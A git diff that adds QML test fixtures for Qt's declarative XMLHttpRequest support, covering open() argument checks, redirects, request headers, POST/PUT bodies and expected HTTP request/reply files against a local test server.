diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.2.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.2.qml
new file mode 100644
index 00000000..f0032927
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.2.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.open("GET", "http://www.nokia.com", true, "user", "password", "extra");
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_invalid_method.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_invalid_method.qml
new file mode 100644
index 00000000..b87823d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_invalid_method.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.open("BLAH", "http://www.nokia.com");
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.expect
new file mode 100644
index 00000000..c6cad706
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.expect
@@ -0,0 +1,7 @@
+GET /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.wait b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.wait
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.wait
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_sync.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_sync.qml
new file mode 100644
index 00000000..9f8f3098
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_sync.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.open("GET", "http://www.nokia.com", false);
+ } catch (e) {
+ if (e.code == DOMException.NOT_SUPPORTED_ERR)
+ exceptionThrown = true;
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_user.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_user.qml
new file mode 100644
index 00000000..2bec3447
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_user.qml
@@ -0,0 +1,54 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url, true, "username", "password");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_username.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_username.qml
new file mode 100644
index 00000000..70f2fa62
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_username.qml
@@ -0,0 +1,54 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url, true, "sampleusername", "password");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectError.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectError.qml
new file mode 100644
index 00000000..f009ab78
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectError.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+ property bool done: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("GET", url);
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ done = true;
+ dataOK = x.status == 404;
+ }
+ }
+
+ x.send();
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectRecur.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectRecur.qml
new file mode 100644
index 00000000..86337c43
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectRecur.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+ property bool done: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("GET", url);
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ done = true;
+ dataOK = x.status == 302;
+ }
+ }
+
+ x.send();
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirects.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirects.qml
new file mode 100644
index 00000000..cd125adf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirects.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+ property bool done: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("GET", url);
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ done = true;
+ dataOK = x.responseText == "Redirected\n";
+ }
+ }
+
+ x.send();
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirecttarget.html b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirecttarget.html
new file mode 100644
index 00000000..95f35e01
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/redirecttarget.html
@@ -0,0 +1 @@
+Redirected
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseText.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseText.qml
new file mode 100644
index 00000000..da229f62
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseText.qml
@@ -0,0 +1,54 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+ property string expectedText
+
+ property bool unsent: false
+ property bool opened: false
+ property bool sent: false
+ property bool headersReceived: false
+
+ property bool loading: false
+ property bool done: false
+
+ property bool reset: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ unsent = (x.responseText == "");
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ opened = (x.responseText == "");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ headersReceived = (x.responseText == "");
+ } else if (x.readyState == XMLHttpRequest.LOADING) {
+ if (x.responseText == expectedText)
+ loading = true;
+ } else if (x.readyState == XMLHttpRequest.DONE) {
+ if (x.responseText == expectedText)
+ done = true;
+
+ dataOK = (x.responseText == expectedText);
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ reset = (x.responseText == "");
+ }
+ }
+
+ x.send()
+
+ sent = (x.responseText == "");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseXML_invalid.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseXML_invalid.qml
new file mode 100644
index 00000000..393ff09a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/responseXML_invalid.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlNull: false
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ xmlNull = (x.responseXML == null);
+ }
+ }
+
+
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/seconddocument.html b/tests/auto/declarative/qdeclarativexmlhttprequest/data/seconddocument.html
new file mode 100644
index 00000000..a33f44bc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/seconddocument.html
@@ -0,0 +1 @@
+This should not be read!
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_alreadySent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_alreadySent.qml
new file mode 100644
index 00000000..fd1c4247
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_alreadySent.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool dataOK: false
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("GET", "testdocument.html");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send();
+
+ try {
+ x.send()
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.expect
new file mode 100644
index 00000000..2effbdcc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.expect
@@ -0,0 +1,10 @@
+POST /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Content-Type: text/plain;charset=UTF-8
+Content-Length: 12
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
+My Sent Data \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.qml
new file mode 100644
index 00000000..3dd851e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.2.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.2.qml
new file mode 100644
index 00000000..fb189362
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.2.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.3.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.3.qml
new file mode 100644
index 00000000..9f2383e0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.3.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Content-Type", "text/plain;charset=latin1");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.expect
new file mode 100644
index 00000000..83368607
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.expect
@@ -0,0 +1,10 @@
+POST /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Content-Type: charset=UTF-8;text/plain
+Content-Length: 12
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
+My Sent Data \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.qml
new file mode 100644
index 00000000..410820e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Content-Type", "charset=UTF-8;text/plain");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.5.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.5.qml
new file mode 100644
index 00000000..f56c51b8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.5.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Content-Type", "charset=latin1;text/plain");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.expect
new file mode 100644
index 00000000..4f10bbc6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.expect
@@ -0,0 +1,10 @@
+PUT /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Content-Type: text/plain;charset=UTF-8
+Content-Length: 12
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
+My Sent Data \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.qml
new file mode 100644
index 00000000..d44864cc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("PUT", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.7.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.7.qml
new file mode 100644
index 00000000..427d9f43
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.7.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open("POST", url);
+ x.setRequestHeader("Content-Type", "text/plain");
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("My Sent Data");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.qml
new file mode 100644
index 00000000..c98555cd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+QtObject {
+ property string reqType
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+ x.open(reqType, url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ if (reqType == "HEAD")
+ dataOK = (x.responseText == "");
+ else
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send("Data To Ignore");
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_GET.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_GET.expect
new file mode 100644
index 00000000..c6cad706
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_GET.expect
@@ -0,0 +1,7 @@
+GET /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_PUT.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_PUT.expect
new file mode 100644
index 00000000..74a97981
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_PUT.expect
@@ -0,0 +1,7 @@
+HEAD /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_unsent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_unsent.qml
new file mode 100644
index 00000000..badd7296
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/send_unsent.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.send();
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.expect
new file mode 100644
index 00000000..7b8e260f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.expect
@@ -0,0 +1,9 @@
+GET /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+TEST-HEADER: value
+TEST-HEADER2: value,value2
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.qml
new file mode 100644
index 00000000..5afab091
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ x.setRequestHeader("Test-header", "value");
+ x.setRequestHeader("Test-header2", "value");
+ x.setRequestHeader("Test-header2", "value2");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send();
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_args.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_args.qml
new file mode 100644
index 00000000..4558f0e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_args.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+
+ try {
+ x.setRequestHeader("Test-header");
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_illegalName.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_illegalName.qml
new file mode 100644
index 00000000..b15318c1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_illegalName.qml
@@ -0,0 +1,58 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+ property string header
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ x.setRequestHeader(header, "Value");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_sent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_sent.qml
new file mode 100644
index 00000000..3b9a91e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_sent.qml
@@ -0,0 +1,32 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+ property bool test: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send();
+
+ try {
+ x.setRequestHeader("Test-header", "value");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_unsent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_unsent.qml
new file mode 100644
index 00000000..327fa7fb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_unsent.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.setRequestHeader("Test-header", "value");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/staticStateValues.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/staticStateValues.qml
new file mode 100644
index 00000000..bc22d877
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/staticStateValues.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+QtObject {
+ property int unsent: XMLHttpRequest.UNSENT
+ property int opened: XMLHttpRequest.OPENED
+ property int headers_received: XMLHttpRequest.HEADERS_RECEIVED
+ property int loading: XMLHttpRequest.LOADING
+ property int done: XMLHttpRequest.DONE
+
+ Component.onCompleted: {
+ // Attempt to overwrite and delete values
+ XMLHttpRequest.UNSENT = 9;
+ XMLHttpRequest.OPENED = 9;
+ XMLHttpRequest.HEADERS_RECEIVED = 9;
+ XMLHttpRequest.LOADING = 9;
+ XMLHttpRequest.DONE = 9;
+
+ delete XMLHttpRequest.UNSENT;
+ delete XMLHttpRequest.OPENED;
+ delete XMLHttpRequest.HEADERS_RECEIVED;
+ delete XMLHttpRequest.LOADING;
+ delete XMLHttpRequest.DONE;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.200.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.200.reply
new file mode 100644
index 00000000..7ae6951f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.200.reply
@@ -0,0 +1,3 @@
